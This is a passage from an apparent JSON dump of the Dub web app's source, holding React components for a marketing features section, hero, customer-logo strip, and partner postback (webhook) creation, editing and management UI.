17h1v1H3zM6 17h1v1H6zM10 17h1v1H10zM12 17h1v1H12zM15 17h3v1H15zM19 17h1v1H19zM22 17h1v1H22zM25 17h1v1H25zM2 18h2v1H2zM8 18h2v1H8zM11 18h1v1H11zM13 18h2v1H13zM18 18h7v1H18zM10 19h1v1H10zM14 19h1v1H14zM16 19h1v1H16zM18 19h1v1H18zM22 19h2v1H22zM26,19 h1v1H26zM2 20h7v1H2zM10 20h5v1H10zM16 20h3v1H16zM20 20h1v1H20zM22 20h2v1H22zM25,20 h2v1H25zM2 21h1v1H2zM8 21h1v1H8zM10 21h1v1H10zM15 21h2v1H15zM18 21h1v1H18zM22 21h4v1H22zM2 22h1v1H2zM4 22h3v1H4zM8 22h1v1H8zM11 22h1v1H11zM14 22h1v1H14zM18 22h6v1H18zM26,22 h1v1H26zM2 23h1v1H2zM4 23h3v1H4zM8 23h1v1H8zM10 23h2v1H10zM14 23h2v1H14zM18 23h1v1H18zM21 23h4v1H21zM2 24h1v1H2zM4 24h3v1H4zM8 24h1v1H8zM11 24h2v1H11zM14 24h1v1H14zM16 24h3v1H16zM21 24h2v1H21zM24 24h1v1H24zM26,24 h1v1H26zM2 25h1v1H2zM8 25h1v1H8zM10 25h1v1H10zM12 25h1v1H12zM14 25h2v1H14zM17 25h4v1H17zM23 25h1v1H23zM2 26h7v1H2zM12 26h4v1H12zM18 26h2v1H18zM21 26h1v1H21zM25,26 h2v1H25z\"\n        shapeRendering=\"crispEdges\"\n      />\n      <rect\n        width=\"7.35\"\n        height=\"7.2\"\n        x=\"10.9\"\n        y=\"10.9\"\n        fill=\"#fff\"\n        className={cn(\"transition-opacity\", hideLogo && \"opacity-0\")}\n      />\n      <image\n        width=\"6.25\"\n        height=\"6.25\"\n        x=\"11.375\"\n        y=\"11.375\"\n        href={DUB_QR_LOGO}\n        preserveAspectRatio=\"none\"\n        className={cn(\"transition-opacity\", hideLogo && \"opacity-0\")}\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/features-section.tsx",
    "content": "import { ExpandingArrow } from \"@dub/ui\";\nimport { cn, createHref, UTMTags } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { PropsWithChildren } from \"react\";\nimport Markdown from \"react-markdown\";\nimport { Analytics } from \"./feature-graphics/analytics\";\nimport { Collaboration } from \"./feature-graphics/collaboration\";\nimport { Domains } from \"./feature-graphics/domains\";\nimport { Personalization } from \"./feature-graphics/personalization\";\nimport { QR } from \"./feature-graphics/qr\";\n\nexport function FeaturesSection({\n  domain,\n  utmParams,\n}: {\n  domain: string;\n  utmParams: Partial<Record<(typeof UTMTags)[number], string>>;\n}) {\n  return (\n    <div className=\"mt-20\">\n      <div className=\"mx-auto w-full max-w-xl px-4 text-center\">\n        <div className=\"mx-auto flex h-7 w-fit items-center rounded-full border border-neutral-200 bg-white px-4 text-xs text-neutral-800\">\n          What is Dub?\n        </div>\n        <h2 className=\"font-display mt-2 text-balance text-3xl font-medium text-neutral-900\">\n          Powerful features for modern marketing teams\n        </h2>\n        <p className=\"mt-3 text-pretty text-lg text-neutral-500\">\n          Dub is more than just a link shortener. We've built a suite of\n          powerful features that gives you marketing superpowers.\n        </p>\n      </div>\n      <div className=\"mx-auto mt-14 grid w-full max-w-screen-lg grid-cols-1 px-4 sm:grid-cols-2\">\n        <div className=\"contents divide-neutral-200 max-sm:divide-y sm:divide-x\">\n          <FeatureCard\n            title=\"Stand out with custom domains\"\n            description=\"Create branded short links with your own domain and [improve click-through rates by 30%](https://dub.co/blog/custom-domains). Paid plans also include a [complimentary custom domain](https://dub.co/help/article/free-dot-link-domain).\"\n            linkText=\"Learn more\"\n            href={createHref(\"/help/article/how-to-add-custom-domain\", domain, {\n              utm_campaign: domain,\n              utm_content: \"Learn more\",\n              ...utmParams,\n            })}\n          >\n            <Domains />\n          </FeatureCard>\n          <FeatureCard\n            title=\"Branded QR codes\"\n            description=\"QR codes and short links are like peas in a pod. Dub offers free QR codes for every short link you create. Feeling artsy? [Customize them with your own logo](https://dub.co/help/article/custom-qr-codes).\"\n            linkText=\"Try the demo\"\n            href={createHref(\"/tools/qr-code\", domain, {\n              utm_campaign: domain,\n              utm_content: \"Learn more\",\n              ...utmParams,\n            })}\n          >\n            <QR />\n          </FeatureCard>\n        </div>\n\n        <FeatureCard\n          className=\"border-y border-neutral-200 pt-12 sm:col-span-2\"\n          graphicClassName=\"sm:h-96\"\n          title=\"Analytics that matter\"\n          description=\"Dub provides powerful analytics for your links, including geolocation, device, browser, and referrer information.\"\n          linkText=\"Explore analytics\"\n          href={createHref(\"/help/article/dub-analytics\", domain, {\n            utm_campaign: domain,\n            utm_content: \"Learn more\",\n            ...utmParams,\n          })}\n        >\n          <a\n            href=\"https://d.to/stats/try\"\n            target=\"_blank\"\n            className=\"group block size-full\"\n          >\n            <div className=\"size-full transition-[filter,opacity] duration-300 group-hover:opacity-70 group-hover:blur-[3px]\">\n              <Analytics />\n            </div>\n            <div className=\"pointer-events-none absolute inset-0 flex items-center justify-center opacity-0 transition-opacity duration-300 group-hover:opacity-100\">\n              <span className=\"flex items-center text-sm font-medium text-slate-900\">\n                View live demo <ExpandingArrow className=\"size-4\" />\n              </span>\n            </div>\n          </a>\n        </FeatureCard>\n\n        <div className=\"contents divide-neutral-200 max-sm:divide-y sm:divide-x [&>*]:border-t [&>*]:border-neutral-200\">\n          <FeatureCard\n            title=\"Advanced link features\"\n            description=\"Supercharge your links with [custom link previews](https://dub.co/help/article/custom-link-previews), [device targeting](https://dub.co/help/article/device-targeting), [geo targeting](https://dub.co/help/article/geo-targeting), [link cloaking](https://dub.co/help/article/link-cloaking), [password protection](https://dub.co/help/article/password-protected-links), and more.\"\n            linkText=\"Learn more\"\n            href={createHref(\"/help/article/how-to-create-link\", domain, {\n              utm_campaign: domain,\n              utm_content: \"Learn more\",\n              ...utmParams,\n            })}\n          >\n            <Personalization />\n          </FeatureCard>\n          <FeatureCard\n            title=\"Collaborate with your team\"\n            description=\"Invite your teammates to collaborate on your links. For [enterprises](https://dub.co/enterprise), Dub offers [SAML SSO](https://dub.co/help/category/saml-sso) with Okta, Google, and Azure AD for higher security.\"\n            linkText=\"Learn more\"\n            href={createHref(\"/help/article/how-to-invite-teammates\", domain, {\n              utm_campaign: domain,\n              utm_content: \"Learn more\",\n              ...utmParams,\n            })}\n          >\n            <Collaboration />\n          </FeatureCard>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction FeatureCard({\n  title,\n  description,\n  linkText,\n  href,\n  children,\n  className,\n  graphicClassName,\n}: PropsWithChildren<{\n  title: string;\n  description: string;\n  linkText: string;\n  href: string;\n  className?: string;\n  graphicClassName?: string;\n}>) {\n  return (\n    <div\n      className={cn(\n        \"relative flex flex-col gap-10 px-4 py-14 sm:px-12\",\n        className,\n      )}\n    >\n      <div\n        className={cn(\n          \"absolute left-1/2 top-1/3 h-1/2 w-1/2 -translate-x-1/2 -translate-y-1/2 rounded-full opacity-10 blur-[50px]\",\n          \"bg-[conic-gradient(from_270deg,#F4950C,#EB5C0C,transparent,transparent)]\",\n        )}\n      />\n      <div\n        className={cn(\n          \"relative h-64 overflow-hidden sm:h-[302px]\",\n          graphicClassName,\n        )}\n      >\n        {children}\n      </div>\n      <div className=\"relative flex flex-col\">\n        <h3 className=\"text-lg font-medium text-neutral-900\">{title}</h3>\n        <Markdown\n          className={cn(\n            \"mt-2 text-neutral-500 transition-colors\",\n            \"[&_a]:font-medium [&_a]:text-neutral-600 [&_a]:underline [&_a]:decoration-dotted [&_a]:underline-offset-2 hover:[&_a]:text-neutral-800\",\n          )}\n          components={{\n            a: ({ children, href }) => {\n              if (!href) return null;\n              return (\n                <Link href={href} target=\"_blank\">\n                  {children}\n                </Link>\n              );\n            },\n          }}\n        >\n          {description}\n        </Markdown>\n        <Link\n          href={href}\n          className={cn(\n            \"mt-6 w-fit whitespace-nowrap rounded-lg border border-neutral-300 bg-white px-3 py-2 text-sm font-medium leading-none text-neutral-900 transition-colors duration-75\",\n            \"outline-none hover:bg-neutral-50 focus-visible:border-neutral-900 focus-visible:ring-1 focus-visible:ring-neutral-900 active:bg-neutral-100\",\n          )}\n        >\n          {linkText}\n        </Link>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/hero.tsx",
    "content": "import { Grid } from \"@dub/ui\";\nimport { PropsWithChildren } from \"react\";\n\nconst HERO_GRADIENT = `radial-gradient(77% 116% at 37% 67%, #EEA5BA, rgba(238, 165, 186, 0) 50%),\n  radial-gradient(56% 84% at 34% 56%, #3A8BFD, rgba(58, 139, 253, 0) 50%),\n  radial-gradient(85% 127% at 100% 100%, #E4C795, rgba(228, 199, 149, 0) 50%),\n  radial-gradient(82% 122% at 3% 29%, #855AFC, rgba(133, 90, 252, 0) 50%),\n  radial-gradient(90% 136% at 52% 100%, #FD3A4E, rgba(253, 58, 78, 0) 50%),\n  radial-gradient(102% 143% at 92% 7%, #72FE7D, rgba(114, 254, 125, 0) 50%)`;\n\nexport function Hero({ children }: PropsWithChildren) {\n  return (\n    <div className=\"relative mx-auto mt-4 w-full max-w-screen-lg overflow-hidden rounded-2xl bg-neutral-50 p-6 text-center sm:p-20 sm:px-0\">\n      <Grid\n        cellSize={80}\n        patternOffset={[1, -58]}\n        className=\"inset-[unset] left-1/2 top-0 w-[1200px] -translate-x-1/2 text-neutral-300 [mask-image:linear-gradient(transparent,black_70%)]\"\n      />\n      <div className=\"absolute -inset-x-10 bottom-0 h-[60%] opacity-40 blur-[100px] [transform:translate3d(0,0,0)]\">\n        <div\n          className=\"size-full -scale-y-100 [mask-image:radial-gradient(closest-side,black_100%,transparent_100%)]\"\n          style={{ backgroundImage: HERO_GRADIENT }}\n        />\n      </div>\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/logos.tsx",
    "content": "import { ExpandingArrow } from \"@dub/ui\";\nimport { cn, createHref, UTMTags } from \"@dub/utils\";\nimport Link from \"next/link\";\n\nconst logos = [\n  \"cal\",\n  \"framer\",\n  \"twilio\",\n  \"hubermanlab\",\n  \"vercel\",\n  \"perplexity\",\n  \"raycast\",\n  \"clerk\",\n  \"whop\",\n  \"viator\",\n  \"sketch\",\n  \"supabase\",\n  \"hashnode\",\n];\n\nexport default function Logos({\n  domain,\n  utmParams,\n  variant = \"default\",\n  copy = \"Giving marketing superpowers to world-class companies\",\n  className,\n}: {\n  domain: string;\n  utmParams?: Partial<Record<(typeof UTMTags)[number], string>>;\n  variant?: \"default\" | \"inline\";\n  copy?: string | null;\n  className?: string;\n}) {\n  return (\n    <Link\n      href={createHref(\"/customers\", domain, {\n        utm_campaign: domain,\n        utm_content: \"See more of our fantastic customers\",\n        ...utmParams,\n      })}\n      className={cn(\n        \"group relative mx-auto mb-2 mt-10 block w-full max-w-screen-lg overflow-hidden [&_*]:delay-75\",\n        variant === \"inline\" && \"sm:flex sm:items-center\",\n        className,\n      )}\n    >\n      {copy !== null && (\n        <p\n          className={cn(\n            \"mx-auto max-w-sm text-balance text-center text-sm text-slate-500\",\n            variant === \"default\"\n              ? \"transition-[filter,opacity] duration-300 group-hover:opacity-30 group-hover:blur-sm sm:max-w-xl\"\n              : \"sm:text-left\",\n          )}\n        >\n          {copy}\n        </p>\n      )}\n      <div className=\"relative flex w-full items-center overflow-hidden px-5 pb-8 pt-8 [mask-image:linear-gradient(to_right,transparent,black_20%,black_80%,transparent)] md:px-0\">\n        {[...Array(2)].map((_, idx) => (\n          <div\n            key={idx}\n            className={cn(\n              \"flex w-max min-w-max items-center gap-5 pl-5\",\n              \"motion-safe:animate-infinite-scroll [--scroll:-100%] motion-safe:[animation-duration:40s]\",\n              \"transition-[filter,opacity] duration-300 group-hover:opacity-30 group-hover:blur-sm\",\n            )}\n            aria-hidden={idx !== 0}\n          >\n            {logos.map((logo) => (\n              <img\n                key={logo}\n                src={`https://assets.dub.co/clients/${logo}.svg`}\n                alt={logo.toUpperCase()}\n                width={520}\n                height={182}\n                draggable={false}\n                className={cn(\n                  \"h-12 w-auto\",\n                  logo === \"cal\" && \"-mx-5 h-14\",\n                  logo === \"viator\" && \"h-11\",\n                  logo === \"perplexity\" && \"h-14\",\n                  logo === \"hubermanlab\" && \"h-14\",\n                )}\n              />\n            ))}\n          </div>\n        ))}\n      </div>\n      <div className=\"pointer-events-none absolute inset-0 flex items-center justify-center opacity-0 transition-opacity duration-300 group-hover:opacity-100\">\n        <span className=\"flex items-center text-sm font-medium text-slate-900\">\n          See more of our fantastic customers{\" \"}\n          <ExpandingArrow className=\"size-4\" />\n        </span>\n      </div>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/postbacks/add-edit-postback-modal.tsx",
    "content": "\"use client\";\n\nimport { partnerProfileFetch } from \"@/lib/api/partner-profile/client\";\nimport {\n  POSTBACK_TRIGGER_DESCRIPTIONS,\n  POSTBACK_TRIGGERS,\n} from \"@/lib/postback/constants\";\nimport {\n  createPostbackInputSchema,\n  postbackSchema,\n} from \"@/lib/postback/schemas\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { PostbackTrigger } from \"@/lib/types\";\nimport { Badge, Button, Combobox, Modal, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronsUpDown } from \"lucide-react\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype PostbackForEdit = z.infer<typeof postbackSchema>;\n\ntype FormData = z.infer<typeof createPostbackInputSchema>;\n\ninterface AddEditPostbackModalProps {\n  showModal: boolean;\n  setShowModal: (show: boolean) => void;\n  postback: PostbackForEdit | null;\n  onSuccess: () => void;\n  onCreatedWithSecret?: (secret: string) => void;\n}\n\nfunction AddEditPostbackModal({\n  showModal,\n  setShowModal,\n  postback,\n  onSuccess,\n  onCreatedWithSecret,\n}: AddEditPostbackModalProps) {\n  const { isMobile } = useMediaQuery();\n  const [isOpen, setIsOpen] = useState(false);\n\n  const {\n    register,\n    handleSubmit,\n    reset,\n    setValue,\n    watch,\n    formState: { isDirty, isSubmitting },\n  } = useForm<FormData>({\n    defaultValues: {\n      name: \"\",\n      url: \"\",\n      triggers: [],\n    },\n  });\n\n  const triggerOptions = POSTBACK_TRIGGERS.map((t) => ({\n    value: t,\n    label: POSTBACK_TRIGGER_DESCRIPTIONS[t],\n  }));\n\n  const isEdit = !!postback;\n  const triggers = watch(\"triggers\") ?? [];\n\n  const selectedTriggers = useMemo(\n    () =>\n      triggers\n        .map((t) => triggerOptions.find((o) => o.value === t))\n        .filter(Boolean) as { value: string; label: string }[],\n    [triggers, triggerOptions],\n  );\n\n  useEffect(() => {\n    if (showModal) {\n      reset({\n        name: postback?.name ?? \"\",\n        url: postback?.url ?? \"\",\n        triggers: (postback?.triggers ?? []) as PostbackTrigger[],\n      });\n    }\n  }, [showModal, postback, reset]);\n\n  async function onSubmit(data: FormData) {\n    // Update postback\n    if (postback) {\n      await partnerProfileFetch(\n        \"@patch/api/partner-profile/postbacks/:postbackId\",\n        {\n          params: {\n            postbackId: postback.id,\n          },\n          body: {\n            name: data.name,\n            url: data.url,\n            triggers: data.triggers,\n          },\n          onSuccess: async () => {\n            toast.success(\"Postback updated\");\n            setShowModal(false);\n            await mutatePrefix(\"/api/partner-profile/postbacks\");\n            onSuccess();\n          },\n          onError: ({ error }) => {\n            toast.error(error.error.message);\n          },\n        },\n      );\n\n      return;\n    }\n\n    // Create postback\n    await partnerProfileFetch(\"/api/partner-profile/postbacks\", {\n      body: {\n        name: data.name,\n        url: data.url,\n        triggers: data.triggers,\n      },\n      onSuccess: async ({ data: createdPostback }) => {\n        toast.success(\"Postback created\");\n\n        if (createdPostback?.secret) {\n          onCreatedWithSecret?.(createdPostback.secret);\n        }\n\n        setShowModal(false);\n        onSuccess();\n\n        await mutatePrefix(\"/api/partner-profile/postbacks\");\n      },\n      onError: ({ error }) => {\n        toast.error(error.error.message);\n      },\n    });\n  }\n\n  return (\n    <>\n      <Modal showModal={showModal} setShowModal={setShowModal}>\n        <div className=\"border-b border-neutral-200 px-4 py-4 sm:px-6\">\n          <h3 className=\"text-lg font-medium leading-none\">\n            {isEdit ? \"Edit\" : \"Add\"} Postback\n          </h3>\n        </div>\n\n        <div className=\"bg-neutral-50\">\n          <form\n            onSubmit={(e) => {\n              e.stopPropagation();\n              return handleSubmit(onSubmit)(e);\n            }}\n          >\n            <div className=\"flex flex-col gap-4 px-4 py-6 text-left sm:px-6\">\n              <div>\n                <label\n                  htmlFor=\"postback-name\"\n                  className=\"text-content-emphasis block text-sm font-medium\"\n                >\n                  Name\n                </label>\n                <input\n                  id=\"postback-name\"\n                  type=\"text\"\n                  autoComplete=\"off\"\n                  className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder=\"My postback\"\n                  autoFocus={!isMobile}\n                  disabled={isSubmitting}\n                  {...register(\"name\")}\n                />\n              </div>\n\n              <div>\n                <label\n                  htmlFor=\"postback-url\"\n                  className=\"text-content-emphasis block text-sm font-medium\"\n                >\n                  Destination URL\n                </label>\n                <input\n                  id=\"postback-url\"\n                  type=\"url\"\n                  autoComplete=\"off\"\n                  className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder=\"https://your-server.com/webhook\"\n                  disabled={isSubmitting}\n                  {...register(\"url\")}\n                />\n                <p className=\"mt-1 text-xs text-neutral-500\">\n                  Must be a valid HTTPS URL. We will send POST requests to this\n                  URL.\n                </p>\n              </div>\n\n              <div>\n                <label className=\"text-content-emphasis mb-1 block text-sm font-medium\">\n                  Events\n                </label>\n                <Combobox\n                  multiple\n                  selected={selectedTriggers}\n                  setSelected={(opts) => {\n                    setValue(\n                      \"triggers\",\n                      opts.map((o) => o.value),\n                      { shouldDirty: true },\n                    );\n                  }}\n                  options={triggerOptions}\n                  searchPlaceholder=\"Search events...\"\n                  buttonProps={{\n                    className: cn(\n                      \"h-auto min-h-10 w-full justify-start px-2.5 py-1.5 font-normal border-neutral-200 bg-white\",\n                      selectedTriggers.length === 0 && \"text-neutral-400\",\n                    ),\n                    disabled: isSubmitting,\n                  }}\n                  matchTriggerWidth\n                  caret={\n                    <ChevronsUpDown className=\"ml-2 size-4 shrink-0 text-neutral-400\" />\n                  }\n                  open={isOpen}\n                  onOpenChange={setIsOpen}\n                >\n                  {selectedTriggers.length > 0 ? (\n                    <div className=\"flex flex-wrap gap-2\">\n                      {selectedTriggers.map((opt) => (\n                        <Badge\n                          key={opt.value}\n                          variant=\"gray\"\n                          className=\"animate-fade-in\"\n                        >\n                          {opt.label}\n                        </Badge>\n                      ))}\n                    </div>\n                  ) : (\n                    <span className=\"block py-0.5\">Select events...</span>\n                  )}\n                </Combobox>\n              </div>\n            </div>\n\n            <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-9 w-fit\"\n                onClick={() => setShowModal(false)}\n                disabled={isSubmitting}\n              />\n              <Button\n                type=\"submit\"\n                text={isEdit ? \"Save changes\" : \"Create postback\"}\n                className=\"h-9 w-fit\"\n                loading={isSubmitting}\n                disabled={!isDirty}\n              />\n            </div>\n          </form>\n        </div>\n      </Modal>\n    </>\n  );\n}\n\ninterface AddEditPostbackModalWrapperProps {\n  postback: PostbackForEdit | null | undefined;\n  onSuccess?: () => void;\n  onCreatedWithSecret?: (secret: string) => void;\n  closePostbackModal: () => void;\n}\n\nfunction AddEditPostbackModalWrapper({\n  postback,\n  onSuccess,\n  onCreatedWithSecret,\n  closePostbackModal,\n}: AddEditPostbackModalWrapperProps) {\n  if (postback === undefined) return null;\n\n  return (\n    <AddEditPostbackModal\n      showModal\n      postback={postback}\n      onSuccess={() => onSuccess?.()}\n      onCreatedWithSecret={onCreatedWithSecret}\n      setShowModal={(show) => {\n        if (!show) {\n          closePostbackModal();\n        }\n      }}\n    />\n  );\n}\n\nexport function useAddEditPostbackModal(\n  onSuccess?: () => void,\n  onCreatedWithSecret?: (secret: string) => void,\n) {\n  const [postback, setPostback] = useState<PostbackForEdit | null | undefined>(\n    undefined,\n  );\n\n  function openAddPostbackModal() {\n    setPostback(null);\n  }\n\n  function openEditPostbackModal(postbackToEdit: PostbackForEdit) {\n    setPostback(postbackToEdit);\n  }\n\n  function closePostbackModal() {\n    setPostback(undefined);\n  }\n\n  return {\n    openAddPostbackModal,\n    openEditPostbackModal,\n    closePostbackModal,\n    AddEditPostbackModal: (\n      <AddEditPostbackModalWrapper\n        postback={postback}\n        onSuccess={onSuccess}\n        onCreatedWithSecret={onCreatedWithSecret}\n        closePostbackModal={closePostbackModal}\n      />\n    ),\n    isAddEditPostbackModalOpen: postback !== undefined,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/postbacks/partner-postback-actions.tsx",
    "content": "\"use client\";\n\nimport { partnerProfileFetch } from \"@/lib/api/partner-profile/client\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { PostbackProps } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { usePostbackSecretModal } from \"@/ui/postbacks/postback-secret-modal\";\nimport { SendTestPostbackModal } from \"@/ui/postbacks/send-test-postback-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, Popover } from \"@dub/ui\";\nimport {\n  CircleCheck,\n  CircleX,\n  Pencil,\n  RefreshCw,\n  Send,\n  Trash,\n} from \"lucide-react\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\ninterface PostbackActionsProps {\n  postback: PostbackProps;\n  openPopover: boolean;\n  setOpenPopover: (open: boolean) => void;\n  onEditPostback: (postback: PostbackProps) => void;\n  onMutate?: () => void;\n}\n\nexport function PostbackActions({\n  postback,\n  openPopover,\n  setOpenPopover,\n  onEditPostback,\n  onMutate,\n}: PostbackActionsProps) {\n  const router = useRouter();\n  const [showSendTest, setShowSendTest] = useState(false);\n\n  const { openPostbackSecretModal, PostbackSecretModal } =\n    usePostbackSecretModal();\n\n  const isDisabled = !!postback.disabledAt;\n\n  const {\n    confirmModal: disableConfirmModal,\n    setShowConfirmModal: setShowDisableConfirmModal,\n  } = useConfirmModal({\n    title: \"Disable postback\",\n    description:\n      \"Events will no longer be sent to this URL. You can re-enable it at any time.\",\n    confirmText: \"Disable\",\n    onConfirm: async () => {\n      await partnerProfileFetch(\n        \"@patch/api/partner-profile/postbacks/:postbackId\",\n        {\n          params: {\n            postbackId: postback.id,\n          },\n          body: {\n            disabled: true,\n          },\n          onSuccess: () => {\n            toast.success(\"Postback disabled\");\n            onMutate?.();\n          },\n          onError: () => {\n            throw new Error(\"Failed to disable\");\n          },\n        },\n      );\n    },\n  });\n\n  const {\n    confirmModal: enableConfirmModal,\n    setShowConfirmModal: setShowEnableConfirmModal,\n  } = useConfirmModal({\n    title: \"Enable postback\",\n    description: \"Events will be sent to this URL again.\",\n    confirmText: \"Enable\",\n    onConfirm: async () => {\n      await partnerProfileFetch(\n        \"@patch/api/partner-profile/postbacks/:postbackId\",\n        {\n          params: {\n            postbackId: postback.id,\n          },\n          body: {\n            disabled: false,\n          },\n          onSuccess: () => {\n            toast.success(\"Postback enabled\");\n            onMutate?.();\n          },\n          onError: () => {\n            throw new Error(\"Failed to enable\");\n          },\n        },\n      );\n    },\n  });\n\n  const {\n    confirmModal: deleteConfirmModal,\n    setShowConfirmModal: setShowDeleteConfirmModal,\n  } = useConfirmModal({\n    title: \"Delete postback\",\n    description:\n      \"This action cannot be undone. This postback will be permanently deleted.\",\n    confirmText: \"Delete\",\n    confirmVariant: \"danger\",\n    onConfirm: async () => {\n      await partnerProfileFetch(\n        \"@delete/api/partner-profile/postbacks/:postbackId\",\n        {\n          params: {\n            postbackId: postback.id,\n          },\n          onSuccess: () => {\n            toast.success(\"Postback deleted\");\n            mutatePrefix(\"/api/partner-profile/postbacks\");\n            router.push(\"/profile/postbacks\");\n          },\n          onError: () => {\n            throw new Error(\"Failed to delete\");\n          },\n        },\n      );\n    },\n  });\n\n  const {\n    confirmModal: rollSecretConfirmModal,\n    setShowConfirmModal: setShowRollSecretConfirmModal,\n  } = useConfirmModal({\n    title: \"Roll signing secret\",\n    description:\n      \"The current signing secret will be invalidated. Update your application with the new secret.\",\n    confirmText: \"Roll secret\",\n    onConfirm: async () => {\n      const { data } = await partnerProfileFetch(\n        \"@post/api/partner-profile/postbacks/:postbackId/rotate-secret\",\n        {\n          params: {\n            postbackId: postback.id,\n          },\n          onSuccess: () => {\n            toast.success(\"Signing secret rolled\");\n            onMutate?.();\n          },\n          onError: () => {\n            throw new Error(\"Failed to roll secret\");\n          },\n        },\n      );\n      if (data?.secret) {\n        openPostbackSecretModal(data.secret);\n      }\n    },\n  });\n\n  const closeAnd = (fn: () => void) => {\n    setOpenPopover(false);\n    fn();\n  };\n\n  const handleEnableDisable = () => {\n    if (isDisabled) {\n      setShowEnableConfirmModal(true);\n    } else {\n      setShowDisableConfirmModal(true);\n    }\n  };\n\n  return (\n    <>\n      {disableConfirmModal}\n      {enableConfirmModal}\n      {deleteConfirmModal}\n      {rollSecretConfirmModal}\n      {PostbackSecretModal}\n      <SendTestPostbackModal\n        postbackId={postback.id}\n        triggers={postback.triggers}\n        showModal={showSendTest}\n        setShowModal={setShowSendTest}\n        onSuccess={onMutate}\n      />\n      <Popover\n        content={\n          <div className=\"w-screen sm:w-48\">\n            <div className=\"grid gap-px p-2\">\n              <Button\n                text=\"Send test event\"\n                variant=\"outline\"\n                icon={<Send className=\"size-4\" />}\n                className=\"h-9 justify-start px-2\"\n                onClick={() => closeAnd(() => setShowSendTest(true))}\n              />\n              <Button\n                text=\"Roll signing secret\"\n                variant=\"outline\"\n                icon={<RefreshCw className=\"size-4\" />}\n                className=\"h-9 justify-start px-2\"\n                onClick={() =>\n                  closeAnd(() => setShowRollSecretConfirmModal(true))\n                }\n              />\n            </div>\n\n            <div className=\"h-px w-full bg-neutral-200\" />\n\n            <div className=\"grid gap-px p-2\">\n              <Button\n                text=\"Edit postback\"\n                variant=\"outline\"\n                icon={<Pencil className=\"size-4\" />}\n                className=\"h-9 justify-start px-2\"\n                onClick={() => closeAnd(() => onEditPostback(postback))}\n              />\n\n              <Button\n                text={isDisabled ? \"Enable postback\" : \"Disable postback\"}\n                variant=\"outline\"\n                icon={\n                  isDisabled ? (\n                    <CircleCheck className=\"size-4\" />\n                  ) : (\n                    <CircleX className=\"size-4\" />\n                  )\n                }\n                className=\"h-9 justify-start px-2\"\n                onClick={() => closeAnd(handleEnableDisable)}\n              />\n\n              <Button\n                text=\"Delete postback\"\n                variant=\"danger-outline\"\n                icon={<Trash className=\"size-4\" />}\n                className=\"h-9 justify-start px-2\"\n                onClick={() => closeAnd(() => setShowDeleteConfirmModal(true))}\n              />\n            </div>\n          </div>\n        }\n        align=\"end\"\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n      >\n        <Button\n          variant=\"outline\"\n          className=\"flex w-8 rounded-md border border-neutral-200 px-2 transition-[border-color] duration-200\"\n          icon={<ThreeDots className=\"h-5 w-5 shrink-0 text-neutral-500\" />}\n          onClick={() => setOpenPopover(!openPopover)}\n        />\n      </Popover>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/postbacks/postback-card.tsx",
    "content": "import { PostbackProps } from \"@/lib/types\";\nimport { TokenAvatar } from \"@/ui/token-avatar\";\nimport { Slack } from \"@dub/ui\";\nimport Link from \"next/link\";\nimport { PostbackStatus } from \"./postback-status\";\n\nexport function PostbackCard(postback: PostbackProps) {\n  return (\n    <Link\n      href={`/profile/postbacks/${postback.id}`}\n      className=\"hover:drop-shadow-card-hover relative rounded-xl border border-neutral-200 bg-white px-5 py-4 transition-[filter]\"\n    >\n      <div className=\"flex items-center gap-x-3\">\n        <div className=\"flex-shrink-0 rounded-md border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2.5\">\n          {postback.receiver === \"slack\" ? (\n            <Slack className=\"size-6\" />\n          ) : (\n            <TokenAvatar id={postback.name} className=\"size-6\" />\n          )}\n        </div>\n        <div className=\"overflow-hidden\">\n          <div className=\"flex items-center gap-1\">\n            <span className=\"text-sm font-medium text-neutral-700\">\n              {postback.name}\n            </span>\n            <PostbackStatus disabledAt={postback.disabledAt} />\n          </div>\n          <div className=\"truncate text-sm text-neutral-500\">\n            {postback.url}\n          </div>\n        </div>\n      </div>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/postbacks/postback-detail-skeleton.tsx",
